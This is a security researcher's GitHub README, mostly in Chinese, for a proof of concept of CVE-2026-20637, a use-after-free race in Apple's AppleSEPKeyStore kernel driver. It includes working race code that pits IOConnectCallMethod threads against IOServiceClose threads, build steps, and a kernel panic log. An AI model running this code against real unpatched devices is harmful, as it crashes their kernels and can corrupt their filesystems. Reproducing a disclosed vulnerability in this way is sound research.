enfilade-labs/CVE-2026-20637-AppleSEPKeyStore-UAF
GitHub: enfilade-labs/CVE-2026-20637-AppleSEPKeyStore-UAF
针对 AppleSEPKeyStore 驱动 IOCommandGate Use-After-Free 漏洞(CVE-2026-20637)的概念验证代码,用于复现 iOS/macOS 内核崩溃。
Stars: 0 | Forks: 0
# CVE-2026-20637 — AppleSEPKeyStore Use-After-Free
[**CVE-2026-20637**](https://support.apple.com/en-us/126346) · Enfilade · [enfilade.io](https://enfilade.io)
## 目标
| | |
| ---------- | ----------------------------------------- |
| iOS | 26.1 – 26.2 (已测试) |
| macOS | 26.1 – 26.2 (已测试) |
| 组件 | `com.apple.driver.AppleSEPKeyStore` |
| 已修补 | iOS 26.3 / iPadOS 26.3 |
Apple 可能在 26.2.1 到 26.3 之间逐步修补了此问题,因此中间版本可能无法复现。
## 警告
运行 PoC 会导致设备发生内核崩溃。请在运行前保存您的工作。反复崩溃可能会导致文件系统损坏。仅供安全研究使用。
## 漏洞
`AppleKeyStore` 竞争条件引发的 `IOCommandGate` Use-After-Free。八个调用线程对选择器 0–15 频繁调用 `IOConnectCallMethod`,同时四个关闭线程竞争 `IOServiceClose`,从而产生一个在 command gate 被释放后仍被访问的窗口。
## 概念验证
```
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS 8
#define NUM_CLOSERS 4
#define NUM_ITERATIONS 100000
static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
// 8 caller threads: hammer IOConnectCallMethod (high priority)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
for (uint32_t sel = 0; sel < 16; sel++) {
IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
}
}
// 4 closer threads: race IOServiceClose (high priority)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
IOServiceClose(conn);
atomic_store(&g_conn, IO_OBJECT_NULL);
}
// Main thread: 100k connections, no delay
for (int i = 0; i < NUM_ITERATIONS; i++) {
uint32_t type = (i % 4 == 0) ? 0x2022
: (i % 4 == 1) ? 0xbeef
: (i % 4 == 2) ? 0x1337
: 0x4141;
IOServiceOpen(svc, mach_task_self(), type, &conn);
atomic_store(&g_conn, conn);
// NO DELAY — tight race window
}
```
## 构建与运行
1. 在 Xcode 中打开 `ios-app/Test.xcodeproj`。
2. 选择一台实体的 iOS 设备(模拟器无法访问该驱动)。
3. 构建、运行,并通过 App 触发 PoC。
## 崩溃日志
```
panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
(off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
72: 0xfffffffffffffe00
Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
Panicked task 0xffffffe5b4f1e820: pid 956: Test
Kernel Extensions in backtrace:
com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
@0xfffffff016a47020->0xfffffff016a84f9f
```
## 许可证
参见 [LICENSE](LICENSE)。
标签:0day挖掘, 0day漏洞, AppleKeyStore, AppleSEPKeyStore, CVE-2026-20637, IOCommandGate, IOConnectCallMethod, iOS 26, IOServiceClose, iOS漏洞, Kernel Panic, macOS 26, macOS漏洞, PoC, Race Condition, UAF漏洞, Use-After-Free, Web报告查看器, 内核安全, 内核崩溃, 内核漏洞, 子域名枚举, 并发安全, 拒绝服务, 提权漏洞, 暴力破解, 漏洞复现, 竞态条件, 系统安全, 补丁分析